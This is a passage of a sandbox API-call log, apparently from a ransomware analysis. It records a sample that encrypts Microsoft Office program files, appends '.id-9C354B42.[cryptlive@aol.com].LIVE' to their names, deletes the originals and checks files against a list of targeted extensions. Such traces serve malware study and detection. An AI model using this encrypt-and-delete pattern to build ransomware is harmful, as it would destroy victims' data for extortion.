nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.044] SetEndOfFile (hFile=0x2f8) returned 1 [0151.044] CloseHandle (hObject=0x2f8) returned 1 [0151.044] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.044] SetEndOfFile (hFile=0x3a4) returned 1 [0151.114] CloseHandle (hObject=0x3a4) returned 1 [0151.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 1 [0151.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.115] lstrlenW (lpString=".doc") returned 4 [0151.115] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.115] lstrlenW (lpString=".docx") returned 5 [0151.115] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0151.115] lstrlenW (lpString=".pdf") returned 4 [0151.115] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.115] lstrlenW (lpString=".xls") returned 4 [0151.115] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".xlsx") returned 5 [0151.116] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0151.116] lstrlenW (lpString=".ppt") returned 4 [0151.116] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString=".zip") returned 4 [0151.116] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".rar") returned 4 [0151.116] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".bz2") returned 4 [0151.116] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".7z") returned 3 [0151.116] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString=".dbf") returned 4 [0151.116] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString=".1cd") returned 4 [0151.116] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString=".jpg") returned 4 [0151.116] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.116] lstrlenW (lpString=".doc") returned 4 [0151.116] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".docx") returned 5 [0151.116] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0151.116] lstrlenW (lpString=".pdf") returned 4 [0151.116] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.116] lstrlenW (lpString=".xls") returned 4 [0151.116] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString=".xlsx") returned 5 [0151.117] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0151.117] lstrlenW (lpString=".ppt") returned 4 [0151.117] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.117] lstrlenW (lpString=".zip") returned 4 [0151.117] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString=".rar") returned 4 [0151.117] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString=".bz2") returned 4 [0151.117] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString=".7z") returned 3 [0151.117] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.117] lstrlenW (lpString=".dbf") returned 4 [0151.117] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.117] lstrlenW (lpString=".1cd") returned 4 [0151.117] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0151.117] lstrlenW (lpString=".jpg") returned 4 [0151.117] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.117] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.117] lstrlenW (lpString="MSART15.BDR") returned 11 [0151.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.120] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=27412) returned 1 [0151.120] CloseHandle (hObject=0x3a4) returned 1 [0151.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0151.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.120] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.121] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0151.121] GetLastError () returned 0x0 [0151.121] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x6b14, lpOverlapped=0x0) returned 1 [0151.144] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x6b20, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6b20, lpOverlapped=0x0) returned 1 [0151.146] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.146] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.146] SetEndOfFile (hFile=0x2f8) returned 1 [0151.146] CloseHandle (hObject=0x2f8) returned 1 [0151.146] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.146] SetEndOfFile (hFile=0x3a4) returned 1 [0151.148] CloseHandle (hObject=0x3a4) returned 1 [0151.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 1 [0151.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".doc") returned 4 [0151.150] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".docx") returned 5 [0151.150] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0151.150] lstrlenW (lpString=".pdf") returned 4 [0151.150] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".xls") returned 4 [0151.150] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".xlsx") returned 5 [0151.150] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0151.150] lstrlenW (lpString=".ppt") returned 4 [0151.150] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".zip") returned 4 [0151.150] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".rar") returned 4 [0151.150] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".bz2") returned 4 [0151.150] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString=".7z") returned 3 [0151.150] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".dbf") returned 4 [0151.150] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".1cd") returned 4 [0151.150] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".jpg") returned 4 [0151.150] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.150] lstrlenW (lpString=".doc") returned 4 [0151.151] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".docx") returned 5 [0151.151] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0151.151] lstrlenW (lpString=".pdf") returned 4 [0151.151] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".xls") returned 4 [0151.151] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".xlsx") returned 5 [0151.151] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0151.151] lstrlenW (lpString=".ppt") returned 4 [0151.151] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.151] lstrlenW (lpString=".zip") returned 4 [0151.151] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".rar") returned 4 [0151.151] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".bz2") returned 4 [0151.151] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString=".7z") returned 3 [0151.151] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.151] lstrlenW (lpString=".dbf") returned 4 [0151.151] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.151] lstrlenW (lpString=".1cd") returned 4 [0151.151] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0151.151] lstrlenW (lpString=".jpg") returned 4 [0151.151] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.151] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.151] lstrlenW (lpString="MSART4.BDR") returned 10 [0151.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.919] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=14594) returned 1 [0151.919] CloseHandle (hObject=0x3a0) returned 1 [0151.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0151.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.919] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.919] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.920] GetLastError () returned 0x0 [0151.920] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x3902, lpOverlapped=0x0) returned 1 [0151.922] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3910, lpOverlapped=0x0) returned 1 [0151.924] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.924] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.924] SetEndOfFile (hFile=0x1dc) returned 1 [0151.924] CloseHandle (hObject=0x1dc) returned 1 [0151.924] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.924] SetEndOfFile (hFile=0x3a0) returned 1 [0151.927] CloseHandle (hObject=0x3a0) returned 1 [0151.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 1 [0151.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.928] lstrlenW (lpString=".doc") returned 4 [0151.928] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.928] lstrlenW (lpString=".docx") returned 5 [0151.928] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0151.929] lstrlenW (lpString=".pdf") returned 4 [0151.929] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".xls") returned 4 [0151.929] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".xlsx") returned 5 [0151.929] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0151.929] lstrlenW (lpString=".ppt") returned 4 [0151.929] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString=".zip") returned 4 [0151.929] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".rar") returned 4 [0151.929] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".bz2") returned 4 [0151.929] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".7z") returned 3 [0151.929] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString=".dbf") returned 4 [0151.929] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString=".1cd") returned 4 [0151.929] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString=".jpg") returned 4 [0151.929] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.929] lstrlenW (lpString=".doc") returned 4 [0151.929] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.929] lstrlenW (lpString=".docx") returned 5 [0151.929] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0151.929] lstrlenW (lpString=".pdf") returned 4 [0151.930] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString=".xls") returned 4 [0151.930] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString=".xlsx") returned 5 [0151.930] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0151.930] lstrlenW (lpString=".ppt") returned 4 [0151.930] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.930] lstrlenW (lpString=".zip") returned 4 [0151.930] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString=".rar") returned 4 [0151.930] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString=".bz2") returned 4 [0151.930] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString=".7z") returned 3 [0151.930] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.930] lstrlenW (lpString=".dbf") returned 4 [0151.930] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.930] lstrlenW (lpString=".1cd") returned 4 [0151.930] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0151.930] lstrlenW (lpString=".jpg") returned 4 [0151.930] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.930] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0151.930] lstrlenW (lpString="ACT3R.SAM") returned 9 [0151.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.933] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=13192) returned 1 [0151.933] CloseHandle (hObject=0x3a0) returned 1 [0151.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 0x20 [0151.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.934] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.934] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.949] GetLastError () returned 0x0 [0151.949] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x3388, lpOverlapped=0x0) returned 1 [0151.951] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3390, lpOverlapped=0x0) returned 1 [0151.952] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.952] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0151.952] SetEndOfFile (hFile=0x1dc) returned 1 [0151.952] CloseHandle (hObject=0x1dc) returned 1 [0151.952] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.952] SetEndOfFile (hFile=0x3a0) returned 1 [0151.955] CloseHandle (hObject=0x3a0) returned 1 [0151.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 1 [0151.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 